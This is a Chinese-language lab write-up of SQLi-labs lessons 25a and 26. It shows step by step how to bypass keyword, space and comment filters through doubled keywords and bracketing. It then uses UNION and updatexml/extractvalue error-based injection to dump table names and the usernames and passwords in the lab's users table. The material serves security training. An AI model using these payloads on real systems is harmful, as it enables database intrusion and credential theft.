伸手摘星,即使徒劳无功,亦不至满手污泥。
【less-25a】数字型,过滤了and or
测试流程
注:以下payload部分都要进行url编码
?id=' #直接报错
?id=1' and 1=1%23 #发现and被过滤
?id=1' && 1=1%23 #发现依然回显错误,说明可能不是字符型
?id=1 && 1=1 #回显正常,说明是数字型
?id=1 && 1=2 #无回显
##order by测试主查询字段数
?id=1 order by 5 #发现order变成了der,说明or被过滤了
?id=1 oorrder by 5 #双写直接绕过,但字段数不是5
?id=1 oorrder by 3 #回显正常
?id=1 oorrder by 4 #回显错误,说明字段数为3
##直接union注入
?id=-1 union select 1,2,3 #判断回显点为2,3
?id=-1 union select 1,database(),user() #查用户和数据库名
?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()
#查询表名,注意information的or要双写
?id=-1 union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name=0x7573657273
#查询字段名,0x7573657273为users十六进制
?id=-1 union select 1,group_concat(username,0x7e,passwoorrd),3 from security.users
#查询字段名,注意password的or要双写
关键代码:
小结:
数字型,GET型
主要是对and、or进行了过滤
值得注意的是测试时特殊符号要进行url编码,对测试语句的所有or都要双写,很容易漏掉。
【less-26】字符型,过滤了and, or, 空格,#,–+,/**/
测试流程
注:以下payload部分都要进行url编码
?id=1 #回显正常
?id=1' #直接报错
?id=1' anandd 1=1# #发现#和空格也被过滤了
?id=1' anandd/**/1=1--+ #发现/**/和--+依然被过滤了
#--+被过滤可以用万能密码那一招
#/**/被过滤,试了在/**/中添加一些字符,结果绕过失败,最后用!!!可以绕过
#而且!!!数字为1
?id=1'anandd'1'='1 #成功回显
#测试发现%0a,%0b也被过滤了
#果断选用报错注入
?id=1' && updatexml(1,concat(0x7e,database()),2)&& '1'='1 #报错注入查数据库名
#查询表名
?id=1' anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),2))anandd '1'='1
#或者:
?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e)))aandnd'1'='1
#查询字段名
?id=1' anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=0x7573657273)),0x7e),2))anandd '1'='1
#不过回显长度有限,需要配合substr函数截取后面
?id=1' anandd(updatexml(1,concat(0x7e,substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=0x7573657273)),30,50),0x7e),2))anandd '1'='1
#查询字段值
?id=1' anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x7e,passwoorrd))from(security.users)),0x7e),2))anandd '1'='1
#同样需要substr函数截取后面的内容
?id=1' anandd(updatexml(1,concat(0x7e,substr((select(group_concat(username,0x7e,passwoorrd))from(security.users)),30,50),0x7e),2))anandd '1'='1
关键代码:
小结
报错语句:
updatexml(1,concat(0x7e,(语句),0x7e),2)
extractvalue(1,concat(0x7e,(语句)))
对于空格过滤的绕过:
/**/,
!!!数字为1,
/*任意字符*/,
%a0,%0b
()括住数据库名、表名、字段名(每个括号中为单个元素)